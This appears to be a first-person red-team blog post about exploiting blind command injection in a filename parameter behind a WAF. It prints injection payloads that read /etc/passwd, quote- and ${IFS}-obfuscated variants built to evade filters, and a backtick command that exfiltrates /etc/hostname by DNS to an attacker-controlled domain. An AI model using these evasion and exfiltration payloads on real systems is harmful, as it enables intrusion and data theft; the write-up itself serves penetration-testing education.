The clock in the bottom right corner of my screen hit 03:12 AM. That cursed '403 Forbidden' error was basically laughing at me. My coffee had gone cold, and the veins in my eyes were ready to stage a full-blown rebellion.
We weren't dealing with your run-of-the-mill web app here. This beast had layers of WAF (Web Application Firewall) rules and an IDS/IPS setup watching every single move. We were at the most nail-biting stage of a Red Team operation: we had a foot in the door, but our privileges were low, and the path to the crown jewels—the database server—was guarded by a heavily hardened API gateway.
I knew that firing up standard pentest tools would get me banned in a heartbeat. Nmap’s noisy scans or Burp Suite Intruder’s brute-force requests hitting like a sledgehammer weren't going to cut it. This required surgical precision.
I’d sniffed out a 'Blind Command Injection' point, but there was a catch: the classic characters like ;, |, and & were all being nuked by the WAF. The app was taking a filename from the user and passing it as a parameter to a shell script in the background. It’s a classic mistake, but the protection layer made exploiting it an absolute nightmare.
Bypassing the Filters: The Dance Begins
Usually, the first thing anyone tries is something like this:
image.jpg; cat /etc/passwd
But the system blocked it instantly. The word cat was banned, and the /etc/passwd pattern was blacklisted. Even the space character was being sanitized. That’s when the Red Team reflexes kick in. If I can't use a space, I’ve got Bash's ${IFS} (Internal Field Separator) to fall back on. If cat is banned, I could try tac (which reads files backwards) or more. But I had a better trick up my sleeve: c'a't. Bash sees those single quotes as string concatenation and executes the command perfectly, but most WAFs doing static analysis will miss this kind of obfuscation.
I tweaked the payload:
image.jpg${IFS}c'a't${IFS}/et'c'/pas's'wd
Another 403. Frustrating, right? This meant they weren't just blocking commands; they were filtering specific characters. Characters like $, {, and } were likely on the hit list. Time to pivot. Hex encoding? Base64? No, the app was URL-decoding the input before processing it.
OOB (Out-of-Band) Exfiltration: Finding a Path in the Dark
I didn't actually need the data to come back to me in the HTTP response. If I could get the command to execute, I could ship the data out myself. DNS is our best friend in these scenarios. Why? Because most firewalls are pretty relaxed about outgoing DNS queries (Port 53)—they just assume it's "the internet doing its thing."
The plan was to trigger a DNS query to a server I controlled and leak the data via a subdomain. But I still needed a 'trigger' character for the command injection. I went back to the drawing board and tested the backtick (`) character.
Bingo.
The application didn't filter backticks, probably because the developer didn't see them as a "scary" character compared to the semicolon.
I whipped up a quick Python script to prep the payload. The goal was to grab the content of /etc/hostname and exfiltrate it as a prefix to a DNS query. It looked something like this:
`host $(cat /etc/hostname).my-malicious-domain.com`
But since I had to avoid spaces and certain strings, I had to get creative with the final delivery. The beauty of Red Teaming isn't just about finding the hole; it's about the persistence to keep dancing with the filters until you find that one sequence they forgot to guard.
Stay curious, stay stealthy.